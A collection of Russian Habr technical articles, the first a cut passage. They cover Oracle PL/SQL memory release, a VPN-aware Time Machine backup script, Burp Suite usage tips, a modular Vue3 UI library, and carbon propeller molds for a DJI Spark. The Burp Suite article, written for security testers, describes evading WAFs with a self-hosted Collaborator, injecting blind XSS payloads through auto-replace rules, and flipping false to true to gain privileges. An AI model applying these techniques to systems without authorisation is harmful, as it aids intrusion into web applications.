* В документации Oracle процедуру советуют использовать «редко и благоразумно».
* В случае подключения в режиме **Dedicated Server** вызов этой процедуры возвращает неиспользуемую PGA память операционной системе
* В случае подключения в режиме **Shared Server** вызов этой процедуры возвращает неиспользуемую память в **Shared Pool**
**В каких случаях нужно освобождать память:**
* Большие сортировки, когда используется вся область sort\_area\_size
* Компиляция больших PL/SQL пакетов, процедур или функций
* Хранение больших объемов данных в индексных таблицах PL/SQL
**Пример использования**
```
CREATE PACKAGE foobar
type number_idx_tbl is table of number indexed by binary_integer;
store1_table number_idx_tbl; -- PL/SQL indexed table
store2_table number_idx_tbl; -- PL/SQL indexed table
store3_table number_idx_tbl; -- PL/SQL indexed table
...
END; -- end of foobar
DECLARE
...
empty_table number_idx_tbl; -- uninitialized ("empty") version
BEGIN
FOR i in 1..1000000 loop
store1_table(i) := i; -- load data
END LOOP;
...
store1_table := empty_table; -- "truncate" the indexed table
...
-
dbms_session.free_unused_user_memory; -- give memory back to system
store1_table(1) := 100; -- index tables still declared;
store2_table(2) := 200; -- but truncated.
...
END;
```
Видео-запись лекции, по материалам которой и была написана эта статья:
Множество других видео по темам Oracle можно найти на этом канале:
[www.youtube.com/c/MoscowDevelopmentTeam](http://www.youtube.com/c/MoscowDevelopmentTeam)
**Другие статьи по Oracle**
[Все о триггерах в Oracle](http://habrahabr.ru/post/256655/) | https://habr.com/ru/post/254355/ | null | ru | null |
# Бекап макбуков на удаленный сервер Time Machine для путешественников
Принцип работы утилиты Time Machine Traveler HelperУ меня есть рабочий макбук и я часто путешествую. Я боюсь потерять данные на нем, поэтому я делаю бекапы через родную Time Machine на удаленный сервер. Для этого я поднял в офисе сервер SMB, который всегда доступен через VPN.
**Проблема:** если включить автоматический бекап в Time Machine, система будет постоянно бекапится даже через тонкий мобильный интернет в самолете, мешая работать, исчерпав весь канал.
**Решение:** я написал скрипт **Time Machine Traveler,** который проверяет скорость доступа к SMB шаре и запускает бекап только если качество соединения высокое.
Мой скрипт работает так
-----------------------
1. Проверяет доступность SMB сервера через VPN
2. Если сервер доступен, запускает тест скорости через `iperf3`
3. Если скорость хорошая, запускает бекап
---
Настройка сервера
-----------------
Чтобы развернуть такой же сетап, вам потребуется поднять Samba сервер и настроить к нему удаленный доступ через VPN. Вы можете сделать это любым удобным способом. Я расскажу про свой способ.
VPN
---
Мы на работе используем модный [ZeroTier](https://www.zerotier.com/). Это не совсем VPN, так как в нем нет центрального сервера, а все соединения происходят напрямую, через P2P. Это позволяет получить максимальную скорость между клиентом и SMB сервером.
В ZeroTier подключения внутри VPN сети происходят напрямуюВ обычной схеме с VPN сервером вы всегда ограничены качеством канала между вами и сервером. И даже если офис находится в соседнем здании, вы все равно будете пропускать трафик через VPN сервер, внося задержки. В ZeroTier я выжимаю 100 Mbit/s до офиса из дома с минимальными задержками. При этом мне доступны все хосты внутри VPN сети, и чем ближе я физически к целевому хосту, тем лучше скорсть. Такое невозможно получить с центральным VPN сервером.
Я обожаю ZeroTier за его простоту в настройке. Я пользуюсь и OpenVPN и IPSec Ikev2 и все это ужасно. Сейчас добавление нового клиента в VPN сеть у нас на работе выглядит так:
`sudo zerotier-cli join`
Дальше администратор апрувит добавление нового клиента в веб-морде и все. Там же в веб-интерфейсе можно легко отключить клиента. Кайф!
SMB сервер
----------
Для бекапа в Time Machine вам потребуется развернуть SMB сервер на дисковом хранилище. Это может быть NAS или голая Samba. Я использую обычную Samba [настроенную по этому мануалу](https://wiki.samba.org/index.php/Configure_Samba_to_Work_Better_with_Mac_OS_X), чтобы включить расширения протокола для macOS.
> С недавнего времени Apple забросили поддержку своего протокола AFP (Apple Filing Protocol), поэтому все мануалы по настройке сервера для Time Machine, где используется AFP устаревшие, не используйте их. Теперь достаточно обычного SMB.
>
>
Speed Test
----------
Чтобы измерять скорость до SMB хранилища, я развернул на том же сервере iperf3, который всегда слушает порт и ждет клиентов для замеров скорости сети.
`apt install iperf3`
И добавил его как сервис:
```
# systemctl cat iperf3.service
# /lib/systemd/system/iperf3.service
[Unit]
Description=iperf3 server
After=syslog.target network.target auditd.service
[Service]
ExecStart=/usr/bin/iperf3 -s
[Install]
WantedBy=multi-user.target
```
---
Настройка клиента
-----------------
В нашем случае клиенты это макбуки путешественников. На них нужно настроить Time Machine на удаленный сервер как обычно. При настройке важно подключаться к SMB серверу по тому адресу, который будет доступен через VPN.
### Подключение к SMB шаре
ВАЖНО: при подключении к SMB хранилищу нужно поставить галочку "Сохранить пароль в ключнице, иначе мой скрипт не сможет сам подмонтировать диск в фоне.
При подключении к удаленному SMB важно сохранить пароль Активация Time Machine
----------------------
Если у вас правильно настроена Samba, удаленный диск появится в списке доступных для бекапа в Time Machine. Активируйте его и выполните первый самый долгий бекап. Размер бекапа будет равен объему занятого места на диске. Когда первичный бекап выполнен, нужно убрать галочку "Автоматический Бекап".
**ВАЖНО:** если дисковое хранилище общее, выбирайте опцию "шифровать бекап" в time machine, иначе все ваши файлы будут лежать на сервере в открытом виде.
Установка скрипта Time Machine Traveler Helper
----------------------------------------------
Мой скрипт это плагин для утилиты [xbar](https://github.com/matryer/xbar). Эта утилита запускает шелл скрипты в фоне и красиво форматирует их вывод в системном трее.
Вот мой плагин [Time\_Machine\_Traveler.py](https://github.com/matryer/xbar-plugins/pull/1692) (Это Pull Request в библиотеку плагинов xbar)
Он еще сырой и я не буду советовать всем его устанавливать. Вам придется самому разобраться как добавить его в xbar. В данный момент я приглашаю только разработчиков протестировать и доработать плагин.
Настройки скрипта
-----------------
У скрипта есть настройки, для работы вам нужно их заполнить
* **SMB\_SHARE\_ADDRESS** — адрес SMB сервера, IP или домен, например `10.30.22.1`
* **WORKGROUP\_NAME** — имя рабочей группы на SMB сервере. В моем случае стандартное `WORKGROUP`
* **SMB\_MOUNT\_PATH** — полный путь по которому будет доступно SMB хранилище в системе. В моем случае это `/Volumes/pavel` Его можно посмотреть, когда SMB хранилище смонтировано с помощью утилиты `df`
* **SMB\_USER** — имя пользователя с которым подключаться к SMB
* **SMB\_SHARE\_PATH** — имя SMB папки на сервере. Оно показано, когда вы подключаетесь к SMB серверу. В моем случае это просто `pavel`
* **SPEED\_TEST\_SERVER** — адрес сервера на котором установлен iperf3. В моем случае это тот же адрес, что и SMB хранилище
* **SPEED\_TEST\_DURATION** — время, которое будет выполняться тест скорости. По умолчанию это 10 секунд, что для меня слишком долго, так как в этот момент канал нагружается полностью. Я поставил 3 секунды
* **SPEED\_TEST\_TIMEOUT** — таймаут подключения к серверу iperf3 в миллисекундах. Это те же задержки, которые мы видим в ping. Если поставить значение меньше 100мс, это автоматически отрежет бекап через мобильный интернет.
* **MIN\_SPEED** — минимальная скорость до сервера в Mbit/s. Я ставлю 60 мегабит.
* **MAX\_LOAD\_AVERAGE** — я ненавижу, когда бекап включается в момент, когда я кодирую видео на ноутубуке. Поэтому скрипт проверяет насколько нагружена система и если LA больше этого значения, то не запускает бекап. Я ставлю 5
Скриншоты
---------
Скорость до SMB сервера слишком медленная, бекап отмененВыполняется бекап. Прогресс и оставшееся время пока не показываются⚠️ Помогите в тестировании
--------------------------
Это полезный инструмент для удаленных сотрудников и тех кто путешествует. На текущий момент скрипт находится в alpha версии и я прошу вас принять участие в тестировании и доработке скрипта, потому что мне уже лень.
TODO
----
Скрипт не готов до конца, нужно еще:
* Убрать зависимость от стороннего python3 из brew. В идеале хочется использовать стандартный системный питон
* Убрать зависимость от osascript
* Сократить настройки: брать настройки адреса SMB шары и всех путей из вывода `tmutil destinationinfo`
* Показывать прогресс бекапа через tmutil status. [Вот референс](https://gist.github.com/andrewbenson/cc5fd79ff6999f0524b8979fe17937a3)
* Брать дату последнего успешного бекапа из tmutil status и на основании этого сделать возможность настройки интервалов бекапов: если последний успешный бекап старше N дней, запускаем бекап. | https://habr.com/ru/post/577226/ | null | ru | null |
# Burp Suite Tips
**Burp Suite** – это платформа для выполнения тестирования по безопасности веб-приложений. В этой заметке я поделюсь несколькими приёмами, как использовать данный инструмент более эффективно.
### Настройки
Для правильной работы с любым инструментом важно его настроить под себя. В Burp Suite существуют 2 типа настроек:
* **User Options** — Настройки относящиеся к самому Burp Suite
* **Project Options** — Настройки к тому, что хакаешь
#### Кодировки
При исследовании русскоязычных ресурсов, часто в ответе от сервера вместо кириллицы могут отображаться *кракозябры*. Чтобы этого избежать можно установить кодировку *UtF-8* и продолжать работу в нормальном режиме. Настройки кодировок находятся в **User Options -> Display -> Characters Sets**.
#### Хоткеи
Чтобы действительно ускорить свою работу с Burp Suite стоит попробовать перейти на использование сочетаний клавиш. Можно использовать установленные по умолчанию, но также есть возможность перенастроить "под себя". Для управления хоткеями достаточно перейти в **User Options -> Misc -> Hotkeys**. Несколько полезных сочетаний:
* Кодирование\декодирование:
+ **Ctrl+(Shift)+U|H|B** для “URL|HTML|Base64 (de)code”
* Навигация по GUI:
+ **Ctrl+Shift+T|P|S|I|R** — “Переключение между утилитами”
+ **Ctrl+I|R|D** — "Отправить запрос в утилиту"
* Burp Repeater:
+ **Ctrl+G** — "Выполнить запрос в Burp Repeater"
#### Proxy Interception
Бывало ли у вас такое, что настроив перенаправление траффика в Burp Proxy приложение почему-то не работало, а в истории запросы так и не появлялись? У меня было так практически каждый раз при старте нового проекта. Всё из-за того, что я забывал отключать перехват в прокси. Каждый раз… Чтобы не травмировать свою нервную систему, можно отключить по умолчанию эту полезную функцию. Перейдите в **User -> Misc -> Proxy Interseption** и выберите опцию **"Always Disable"**.
#### Приватность
Не смотря на доверие разработчикам из PortSwigger не стоит передавать лишнюю информацию на их сервера. Даже если вы и сами не против "поделиться", то у ваших заказчиков могут быть более строгие правила. Первое, что необходимо сделать — отключить отправку анонимных сообщений, отправляемых PortSwigger. Перейдите по пути **User Options -> Misc -> Performance Feedback** и запретите отправку.
Если вы используете **Burp Collaborator**, то стоит поднять свой собственный и использовать его. Такое решение позволит обходить некоторые WAF, настроенных на блокировку *burpcollaborator.net* и его поддоменов. Для управления Burp Collaborator переходим в **Project Options -> Misc -> Burp Collaborator Server**
#### Используйте конфиг по умолчанию
Чтобы не проделывать работу с настройками для каждого проекта, можно создать конфигурационный файл и загружать его при старте нового проекта. Для этого достаточно проделать следующие шаги:
* Сделайте необходимые изменения
* Сохраните настройки проекта и пользователя (это будут JSON файлы).
* Объедините оба файла в один.
* Обновляйте его по мере необходимости и храните в надежном месте (например, git репозитории).
* Финальный конфиг будет выглядеть так:
```
{
"project_options":{
// options
},
"user_options":{
// options
}
}
```
#### Отключение плагинов
При запуске Burp Suite можно отключать все плагины. Это значительно может ускорить загрузку, особенно если используется множество дополнений.
Включить необходимые дополнения можно позже, учитывая специфику проекта.
#### Ограничение по памяти
Burp Suite написан на Java, что часто приводит к большому потреблению памяти, особенно в случае долгих автоматических проверок. Для ограничения потребляемых ресурсов можно воспользоваться следующей командой:
```
java -jar -Xmx2048M burp.jar
```
### Утилиты
В данном разделе будут советы по работе со встроенными утилитами в Burp Suite. Наиболее интересные из них:
* **Burp Proxy** лежит в самом сердце управляемого пользователем рабочего процесса Burp Suite, позволяя вам перехватывать, проверять и модифицировать трафик, движущийся в обоих направлениях между сервером и клиентом.
* **Burp Repeater** — инструмент для обработки HTTP-запросов, их редактирования и анализа ответов веб-приложений вручную.
* **Burp Intruder** — мощный инструмент для автоматизации специализированных атак против веб-приложений. Это очень гибкий и хорошо настраиваемый инструмент, который может использоваться для выполнения огромного спектра задач, возникающих во время тестирования приложений.
#### Найти ссылки на хост
Иногда, появляется необходимость найти ссылки на определённый хост. Конечно, можно воспользоваться поиском в истории запросов, но есть более быстрый и эффективный способ. Переходим во вкадку **Target -> Site Map**, выбираем из списка необходимый хост, правый клик и **Engagement tools -> Find reference**. В результате, появится список запросов, ссылающихся на интересующий нас хост.
#### Автозамена
Многие недооценивают полезность функции автозамены в Burp Proxy. Часто её используют для подмены ответов сервера, с целью отключить защитные механизмы в заголовках; замены false на true для повышения привилегированного доступа и т.п. Для меня же наибольшая польза от этого механизма достигается при тестировании мобильных приложений. Очень удобно в самом интерфейсе приложения вводить простые слова, а в результате отправлять сложные выражения. Например, ввести bxss, а отправить полноценный пейлоад BlindXSS. Также, упрощается работа при вводе паролей. Настройки автозамены вы можете найти в **Proxy -> Options -> Match and replace**.
#### Переименование вкладок
Burp Suite позволяет именовать вкладки, когда я узнал об этой возможности, то моей радости не было предела. Сделав двойной клик по заголовоку вклади запроса, можно записать полезную информацию, которая поможет вспомнить что к чему спустя какое-то время.
Работает это не только в Burp Repeater, но и в Burp Intruder, что также бывает полезным.
#### Автопрокрутка
Очень удобной является функция автопрокрутки при поиске в запросах или ответах. Burp будет автоматически перепрыгивать на результат, после отправки запроса, ускоряя вашу работу. Для включения опции после ввода в поисковой строке того, что вы хотите найти, нажмите кнопку "+", чтобы получить доступ к опциям поиска и отметье **"Auto-scroll to match when text changes"**.
#### Отчёты
При оформлении отчётов гораздо больше информации поместится и симпатичней будут смотреться скриншоты с вертикальным расположением запроса\ответа. Для этого в опциях Burp Repeater отметьте **View->Top/bottom split**
#### Целевое сканирование
Вы можете использовать интерфейс Burp Intruder, чтбы сконфигурировать сканирование с использованием **Burp Scanner** только на необходимые параметры, заголовки и т.п. Для этого, выставите маркеры в нужном вам запросе в интерфейсе Burp Intruder так, как вы это делаете обычно, а затем выберите "Scan defined insertion points" из контекстного меню. В результате будет сэкономлено достаточно времени, т.к. по умолчанию Burp Scanner тестирует все, что доступно в запросе, включая cookies, заголовки, URI, параметры запроса.
#### Обработка полезной нагрузки на лету
В Burp Intruder можно устанавливать различные обработки полезной нагрузки, до отправки запроса. Установленные правила выполняются последовательно, могут быть включены/отключены, чтобы помочь подебажить в случае каких-то проблем в конфигурации. Правила обработки могут быть полезными во множестве различных ситуациях, где вам нужно сгенерировать необычную нагрузку, или, например, закодировать.
Примеры доступных типов правил:
* **Add prefix / suffix** — Добавляет текст до или после нагрузки.
* **Match / replace** — Заменяет любую часть в нагрузке, подходящую под регулярное выражение, указанной строкой.
* **Encode / Decode** — Кодирует или раскодирует нагрузку различных типов: URL, HTML, Base64, ASCII hex.
* **Hash** — Производит операцию хэширования над нагрузкой.
* **Skip if matches regex** — Проверяет удовлетворяет ли нагрузка указанному регулярному выражению и если это так, то пропускает нагрузку и переходит к следующей. Это может быть полезным, например, если вам известно, что значение параметра должно иметь минимальную длину и вы хотите пропустить все значения из списка, которые короче данного значения.
#### Сортировка результатов Intruder
В Burp Intruder можно помечать результаты, содержащие заданные выражения в ответах от сервера. Для каждого выражения Burp добавит столбец с чекбоксами в таблицу с результатами. В результате, можно будет явно увидеть интересные ответы, а при необходимости сгруппировать, кликнув на заголовок столбца.
Использование этой опции становится максимально полезным при анализе больших объемов результатов сканирований и позволяет быстро находить интересующие вас вещи. Например, при тестировании SQL инъекций поиск сообщений содержащих "ODBC", "error" и пр. помогут быстро отыскать уязвимые параметры. | https://habr.com/ru/post/510612/ | null | ru | null |
# Модульный фронтенд для репликационного масштабирования или как перестать копировать репозитории целиком
В этой статье будут изложены основные идеи и показаны простые примеры для грамотной организации, скажем так — «репликационного масштабирования» проектов на фронтенде. То есть, само понятие масштабирования здесь будет рассматриваться скорее с той точки зрения и в одном из смыслов как это понимает бизнес, но, при этом, речь пойдет именно о технической стороне процесса, правда, сугубо в контексте браузерной клиентской части информационных систем. Ближе к реальной ситуации: предположим что ваша компания разрабатывает, условно — некий OLAP-продукт, и перед вами как фронтенд-разработчиком ставят задачи по развертыванию и поддержке более или менее сходных новых проектов фронтенда для разных заказчиков. После скандальной критической статьи о, имхо, сомнительных дурных современных подходах и тенденция в верстке веб-интерфейсов — моя карма на Хабре, наконец-то упала ниже нуля, а я, если честно, не очень хорошо понимаю правила игры, увидят ли эту статью читатели… Но, с другой стороны, готов изложить все просто «в стол», так как считаю что лучшая мотивация для написания чего-либо — это если «просто очень хочется написать», сформулировать, прежде всего — для себя самого.
Эта статья логично продолжает тематику [первой статьи о модулях](https://habr.com/ru/post/582638/) позволяющих сделать разработку фронтенда качественнее и эффективнее. Но если в первом материале речь шла, прежде всего, об замечательном атомарном тренде в вебдизайне и простом надежном способе доставки его в код компонентных фреймворков с помощью препроцессоров, построении простой кастомной библиотеки UI-компонент для единообразного оформления разных проектов, то новый пример станет немного сложнее — хочется сосредоточиться уже не на «внешних», «оформительских» моментах, а на функциональных и организационных. Для наглядной демонстрации практического применения изложенных в статье идей снова написаны стартеры-песочницы: небольшой [модуль-библиотека](https://github.com/ushliypakostnik/ui-library-starter-2) (и [документация](https://ui-library-starter-2.netlify.app/) к нему), а также использующий его [проект](https://github.com/ushliypakostnik/ui-library-2-test), на этот раз с более актуальным стеком Vue3+TypeScript/Vuex4/VuePress2. В отличие от более примитивной либы из первой статьи, этот модуль:
* Использует хранилище, то есть содержит состояние
* Может запускаться в полноценном режиме разработки, как будто это собственно уже сам конечный проект
* Поддерживает темизацию и локализацию
Пример модуля содержит совсем немного компонент и документация на свежей версии VuePress, в отличие от первой версии модуля, не кастомизируется под фирменный стиль который предоставляет сама библиотека. Так сделано не только по причине лени и экономии времени, но, прежде всего, потому что кажется излишним — то что призваны продемонстрировать примеры — этого совсем не требует.
### Зачем?
Пилите вы и без того малыми ресурсами фронтенд для некоего OLAP-продукта и поначалу у вашей фирмы всего один заказчик — все идет нормально. Но потом вдруг появляется еще один клиент и руководство требует от вас, конечно же, максимально быстро запустить еще один проект — «точно такой же, но немного другой». Что вы будете делать в этом случае? По опыту, особенно если как обычно «нужно еще вчера», а «рук все время не хватает» — вы просто скопируете ~~легаси~~ содержимое первого репозитория в новый. Со всеми его недостатками и недоработками.
Наверное понятно что будет происходить дальше:
Выражающий почти одно и тоже код в репозиториях начнет «разъезжаться», «расползаться». Важные фиксы с высокой вероятностью станут попадать только в один репо. А если вы будете стараться следить за этим — вам придется уныло доставлять одно и тоже в два разных места «ручками». Новый функционал — точно также. А если разработчиков несколько, проекты пилятся разными составами? А если проекта уже три, четыре?... Мрак, хаос и отчаяние…
Очевидно, что все работы на фронте если проектов основанных на одном визуальном языке (то есть, в идеале — с почти полностью сходной кодовой базой) больше одного — должны вестись через единое универсальное решение-модуль. Только в этом случае можно говорить о какой-то эффективности и переиспользовании — фирменного стиля, дизайна и верстки. Но это как раз о проблеме которая решалась в первой статье — «модулем-библиотекой статичных UI-элементов» — «вьюх»:
Но «некий OLAP-продукт» скорее всего и на фронтенде требует более сложных компонент, чем просто получающих данные и модификаторы состояния по пропсам. Поэтому сама архитектура дочерних проектов в этом случае будет далеко не идеальной. Нам придется добавлять более сложные компоненты — сообщающиеся с хранилищем или запрашивающие данные с бэкенда в сами дочерние проекты, что, по сути, дела по-прежнему будет являться дублированием, будет по-прежнему сильно затруднять рефакторинг и модификацию, доставку новых фич:
**Модуль-библиотека с состоянием, темезацией, локализацией, документацией и режимом разработки (на Vue3+TS/Vuex4/VuePress2/i18n)**
Для решения этих проблем вы можете построить более продвинутый модуль-библиотеку:
Вот теперь, наконец-то можно расслабиться и смело смотреть в будущее. Такое решение позволяет надеяться на то, что вы действительно сможете эффективно поддерживать большое количество схожих проектов малыми силами, при обычной нехватке рабочих рук, светлых голов, трудовых ресурсов. Кроме того, вы сможете быть уверены что код во всех ваших проектах оптимальный. Все изменения и улучшения которые необходимо распространить по всем копиям системы будут отправляться строго в одно единственное место:
Мы должны воспринимать как продукт — прежде всего сам модуль. И поэтому, он должен обладать всей необходимой общей функциональностью которая затребована от вашей системы, то есть, вероятно — содержать хранилище. Также, необходимо иметь возможность запустить и тестировать всю кухню как будто это конечный проект — и поэтому, вероятно, ей будет нужен собственный роутер. Хранилище мы экспортируем в дочернии проекты, а роутер — нет (так как роутинг реального проекта и для разработки-тестирования центрального ядра — библиотеки — разные сущности). Главная функция библиотеки — предоставление фирменного стиля, компонент и всего специфического общего функционала. Единственная [в идеале] функция дочернего проекта — запросы к бэкенду на видах роутера и проксирование полученных данных в основные компоненты модуля.
Это была мотивационная часть, сейчас адекватно будет перейти к простому примеру реализации. Чтобы наглядно увидеть различия между модулем и использующим его проектом стоит взглянуть на их главные файлы, точки входа:
@/src/main.ts библиотеки
```
import { App } from 'vue';
import { createApp } from 'vue';
import { createI18n } from 'vue-i18n';
import store, { key } from './store';
import { createRouter, createWebHistory } from 'vue-router';
// UI Components
import * as components from './components';
// Dev and test components
import Development from './Development.vue';
import TestComponent from './components/TestComponent/TestComponent.vue';
// Constants
import { LANGUAGES, MESSAGES } from '@/utils/constants';
// Localization
const i18n = createI18n({
legacy: true,
locale: store.getters['layout/language']
? store.getters['layout/language']
: LANGUAGES[0].name,
fallbackLocale: LANGUAGES[0].name,
messages: MESSAGES,
});
// UI Components library with store and localization
const ComponentLibrary = {
// eslint-disable-next-line @typescript-eslint/explicit-module-boundary-types
install(app: App) {
// localization
app.use(i18n);
// store
app.use(store, key);
// components
for (const componentName in components) {
// eslint-disable-next-line @typescript-eslint/no-explicit-any
const component = (components as any)[componentName];
app.component(component.name, component);
}
},
};
// ATTENTION! Set to true if you want
// to develop a module (not documentation)
// and false before publishing for use in projects
const isDevelopmentModuleMode = false;
if (isDevelopmentModuleMode) {
console.log('Start development module!');
// eslint-disable-next-line @typescript-eslint/no-explicit-any
const routes: any = [
{
path: '/',
name: 'TestComponent',
component: TestComponent,
},
{
path: '/route/:id',
name: 'TestRoute',
component: () =>
import(
/* webpackChunkName: "TestRoute" */ './components/TestRoute/TestRoute.vue'
),
},
{
path: '/:catchAll(.*)',
name: 'NotFound',
component: () =>
import(
/* webpackChunkName: "NotFound" */ './components/NotFound/NotFound.vue'
),
},
];
const router = createRouter({
history: createWebHistory(process.env.BASE_URL),
routes,
});
createApp(Development).use(i18n).use(store, key).use(router).mount('#app');
}
export default ComponentLibrary;
```
@/src/main.ts проекта
```
import { createApp } from 'vue';
import App from './App.vue';
import ComponentLibrary from 'ui-library-starter-2';
import 'ui-library-starter-2/dist/ui-library-starter-2.css';
import { createRouter, createWebHistory } from 'vue-router';
import Home from './views/Home.vue';
// eslint-disable-next-line @typescript-eslint/no-explicit-any
const routes: any = [
{
path: '/',
name: 'Home',
component: Home,
},
{
path: '/route/:id',
name: 'Test',
component: () =>
import(/* webpackChunkName: "TestRoute" */ './views/Test.vue'),
},
{
path: '/:catchAll(.*)',
name: 'NotFound',
component: () =>
import(/* webpackChunkName: "NotFound" */ './views/NotFound.vue'),
},
];
const router = createRouter({
history: createWebHistory(process.env.BASE_URL),
routes,
});
export default router;
createApp(App).use(ComponentLibrary).use(router).mount('#app');
```
Для того чтобы запустить режим разработки нужно выставить флаг `isDevelopmentModuleMode` в значение `true`. А перед отправкой модуля на npm — переключить его обратно. Это, мягко говоря, не очень изящно, но как сделать лучше — я пока не придумал. Если у этой статьи будут читатели — может кто-нибудь подскажет более красивое решение.
### Темизация
Очень часто может оказаться что очередной клиент «хочет кнопочки другого цвета». Сложно поверить, но может даже встретится реальный кейс (мне арт-директор сказал) когда темы всех проектов должны быть доступны в одном интерфейсе. Поэтому я организовал возможность простого добавления и простого переключения между любым количеством тем, каждая с двумя режимами (дневной и ночной). Переменные препроцессора предоставляют атомы единственной основной дефолтной темы:
@/src/stylus/utils/\_variables.styl
```
// Palette
//////////////////////////////////////////////////////
$colors = {
cat: #fed564,
dog: #8bc24c,
bird: #7e746e,
wood: #515bd4,
stone: #ffffff,
sea: #13334c,
sky: #0d2233,
ball: #b1b1b1,
rain: #efefef,
}
// Dependencies colors
$colors["text"] = $colors.sky
$colors["header"] = $colors.stone
$colors["content"] = $colors.rain
```
Добавление новых тем происходит в константах TypeScript — объект конкретного режима темы должен содержать поля с именами повторяющими набор атомов в препроцессоре:
@/src/utils/constants.ts
```
export const THEMES: TConfig = {
theme1: 'theme1',
theme2: 'theme2',
};
export const MODES: TConfig = {
mode1: 'light',
mode2: 'dark',
};
// Design constants
//////////////////////////////////////////////////////
export const DESIGN: TConfig = {
V: '1.0.0',
BREAKPOINTS: {
tablet: 768,
desktop: 1025,
},
THEMES: {
[THEMES.theme1]: {
// Light
[MODES.mode1]: {
// Palette
cat: '#fed564',
dog: '#8bc24c',
bird: '#fd5f00',
wood: '#515bd4',
stone: '#ffffff',
sea: '#13334c',
sky: '#dddddd',
ball: '#b1b1b1',
rain: '#efefef',
// Dependencies colors
text: '#0d2233',
header: '#ffffff',
content: '#efefef',
},
// Dark
[MODES.mode2]: {
// Palette
cat: '#fed564',
dog: '#8bc24c',
bird: '#fd5f00',
wood: '#515bd4',
stone: '#ffffff',
sea: '#13334c',
sky: '#dddddd',
ball: '#b1b1b1',
rain: '#efefef',
// Dependencies colors
text: '#ffffff',
header: '#163C59',
content: '#0d2233',
},
},
[THEMES.theme2]: {
// Light
[MODES.mode1]: {
// Palette
cat: '#fd5f00',
dog: '#8bc24c',
bird: '#fed564',
wood: '#515bd4',
stone: '#ffffff',
sea: '#3A0061',
sky: '#f9f9f9',
ball: '#b1b1b1',
rain: '#efefef',
// Dependencies colors
text: '#1F0033',
header: '#ffffff',
content: '#efefef',
},
// Dark
[MODES.mode2]: {
// Palette
cat: '#fd5f00',
dog: '#8bc24c',
bird: '#fed564',
wood: '#515bd4',
stone: '#ffffff',
sea: '#3A0061',
sky: '#f9f9f9',
ball: '#b1b1b1',
rain: '#efefef',
// Dependencies colors
text: '#ffffff',
header: '#5D009C',
content: '#1F0033',
},
},
},
};
```
Теперь можно использовать Custom Properties c соответствующими именами, после переменных препроцессора остающихся в качестве фоллбэка:
```
.selector
color $colors.text
color var(--text)
```
Потому как в лейауте:
@/src/components/Layout/Layout.vue
```
// ...
import { defineComponent, computed, onBeforeMount, watch } from 'vue';
import { useStore } from '../../store';
import { DESIGN, THEMES, MODES } from '../../utils/constants';
import LangSwitch from './LangSwitch.vue';
import Menu from '../Menu';
export default defineComponent({
name: 'Layout',
components: {
LangSwitch,
Menu,
},
setup() {
const store = useStore();
let toggleLayout;
let toggleMode;
let toggleTheme;
let setThemeOrMode;
const isMenuOpen = computed(() => store.getters['layout/isMenuOpen']);
const theme = computed(() => store.getters['layout/theme']);
const mode = computed(() => store.getters['layout/mode']);
toggleLayout = () => {
store.dispatch('layout/setLayout', {
field: 'isMenuOpen',
value: !isMenuOpen.value,
});
};
toggleMode = () => {
store.dispatch('layout/setLayout', {
field: 'mode',
value: mode.value === MODES.mode1 ? MODES.mode2 : MODES.mode1,
});
};
toggleTheme = (theme) => {
store.dispatch('layout/setLayout', {
field: 'theme',
value: theme,
});
};
watch(
() => store.getters['layout/mode'],
() => {
setThemeOrMode();
},
);
watch(
() => store.getters['layout/theme'],
() => {
setThemeOrMode();
},
);
setThemeOrMode = () => {
for (const color in DESIGN.THEMES[theme.value][mode.value]) {
document.documentElement.style.setProperty(
`--${color}`,
DESIGN.THEMES[theme.value][mode.value][color],
);
}
};
onBeforeMount(() => {
setThemeOrMode();
});
return {
THEMES,
MODES,
isMenuOpen,
mode,
theme,
toggleLayout,
toggleTheme,
toggleMode,
};
},
});
// ...
```
### Локализация
А вот локализация мне не совсем нравится. Я прикрутил ее до кучи в последний момент, так как такая возможность кажется очень важной-полезной в свете остальных качеств, целей и задач разработки. Но то что все переводы дочерних проектов должны скопом лежать в константах либы — кажется весьма сомнительным и не оптимальным. С другой стороны — у меня пока не было возможности проработать и улучшить это в реальной ситуации — конкретные проекты по мотивам которых написана статья и примеры — используют только один язык. У любой реализации всегда можно найти несовершенные моменты и точки роста.
### Выводы, которые желательно сделать в конце статьи на Хабре :)
Все дизайнеры и разработчики фронтенда привычно используют различные сторонние готовые библиотеки и модули. Но существуют реальные коммерческие ситуации когда подобный модуль просто необходимо написать и внедрить самому. Бизнес и руководство, менеджеры всегда стремятся любыми способами удовлетворить клиента, часто в условиях жесткой нехватки ресурсов. Ваше качество жизни на работе в этих ситуациях напрямую зависит от того насколько качественными, аккуратными, оптимальными будут подходы и архитектуры которые вы используете на своих боевых проектах. Творите! | https://habr.com/ru/post/647179/ | null | ru | null |
# Как улучшить DJI Spark. Часть 2. Про уголь
*Дело было вечером, делать было нечего (с)*
К [предыдущей](https://habr.com/ru/company/stc_spb/blog/670968/) статье про воздушный винт был комментарий от [@RusikR2D2](/users/RusikR2D2):
`У вас получился винт, оптимизированный для "нулевой" скорости (висение). Ваш коптер теперь будет медленнее летать, медленнее набирать высоту, скорее всего, "тупее" реагировать на управление и хуже держать ветер. Также могут появиться вибрации (контроллер настроен именно на то соотношение тяги-оборотов, у вас же оно стало другим)`
В данной статье постараюсь разобраться так ли это на самом деле, какие минусы и плюсы возникнут, как эти винты поведут себя в полёте.
Первая версия воздушных винтов была напечатана на 3D принтере, а это повлекло за собой то, что лопасти были крайне гибкими. Испытания с такими лопастями проводить на улице я, откровенно говоря, побоялся из-за потери коптера. И я принял решение, что для улицы я буду делать максимально жёсткие и держащие форму винты. Конечно, изготавливать я их буду из композитных материалов, а именно эпоксидной смолы, армированной [углеродным волокном](https://ru.wikipedia.org/wiki/%D0%A3%D0%B3%D0%BB%D0%B5%D1%80%D0%BE%D0%B4%D0%BD%D0%BE%D0%B5_%D0%B2%D0%BE%D0%BB%D0%BE%D0%BA%D0%BD%D0%BE) в виде [ровинга](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%B2%D0%BD%D0%B8%D1%86%D0%B0).
Но, прежде чем что-то делать, необходимо обзавестись оснасткой. Оснастка, в данном случае - матрица (форма), состоящая из двух половинок. Матрица проектируется на основе изделия, которое необходимо получить.
После проектирования, матрицу можно изготовить различными способами, какими - я недавно писал в своей [другой статье](https://habr.com/ru/post/671858/). Но, сегодня, матрицу как и прототипы винтов, я буду печатать на фотополимерном 3Д принтере. Это просто, быстро, дёшево и доступно для воспроизведения в домашних условиях, а именно это и хочется показать, что используя не совсем специализированные материалы можно получить неплохой результат.
